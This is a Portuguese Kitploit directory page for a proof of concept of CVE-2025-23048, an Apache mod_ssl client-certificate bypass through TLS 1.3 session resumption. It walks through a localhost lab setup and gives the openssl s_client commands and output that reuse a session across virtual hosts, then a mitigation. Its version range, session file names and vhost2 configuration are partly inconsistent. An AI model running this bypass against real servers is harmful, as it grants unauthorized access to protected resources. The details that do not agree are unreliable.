Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-23048-POC — As versões 2.4.35 – 2.4.63 do Apache HTTP Server são vulneráveis a um bypass de autenticação de certificado de cliente quando a retomada de sessão TLS 1.3 é usada entre hosts virtuais com diferentes diretivas `SSLCACertificateFile`. | Kitploit
Ferramentas/GitHubGitHub/absholi7ly/cve-2025-23048-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAutenticação
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

As versões 2.4.35 – 2.4.63 do Apache HTTP Server são vulneráveis a um bypass de autenticação de certificado de cliente quando a retomada de sessão TLS 1.3 é usada entre hosts virtuais com diferentes diretivas `SSLCACertificateFile`.

Ver Repositório
41há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-23048: Bypass de Certificado de Cliente na Retomada de Sessão TLS 1.3 do Apache mod_ssl

As versões 2.4.35 a 2.4.62 do Apache HTTP Server são vulneráveis a um bypass de autenticação de certificado de cliente quando a retomada de sessão TLS 1.3 é usada entre virtual hosts com diretivas SSLCACertificateFile diferentes.

Um atacante com um certificado de cliente válido para um virtual host pode retomar uma sessão TLS 1.3 em um virtual host diferente que exige um certificado emitido por uma CA distinta — obtendo acesso não autorizado a recursos protegidos.


Ambiente Testado

  • Apache HTTP Server: 2.4.57 (Win64)
  • Sistema Operacional: Windows 10 (64-bit)

Configuração do Servidor

1. Instalar o Apache 2.4.57 (Win64)

root@kitploit:~

Download from:

https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip

Extract to C:\Apache24

root@kitploit:~

### 2. Ativar os Módulos Necessários em `conf\httpd.conf`
```apache
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. Configurar o Cache de Sessão SSL

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. Criar o Diretório SSL e Gerar Certificados

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. Configurar Virtual Hosts (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Criar Conteúdo Protegido

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Iniciar o Apache

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Prova de Conceito

Etapa 1: Handshake Completo com vhost1 → Salvar Sessão

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Entrada após a conexão:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

Saída Esperada (truncada):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

O ticket de sessão foi salvo em session_shared.pem.


Etapa 2: Retomar Sessão em vhost2 → Acessar o Caminho Protegido

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Entrada:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Saída Esperada (Crítica):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

O certificado de cliente da CA1 foi aceito no vhost2 (que confia apenas na CA2)
Não ocorreu reautenticação — a retomada de sessão contornou a verificação da CA


Mitigação

root@kitploit:~
SSLStrictSNIVHostCheck on

em todos os virtual hosts TLS 1.3 que exigem CAs de cliente distintas.

Desativa a retomada de sessão entre SNIs — impede o bypass.


Baixar ferramenta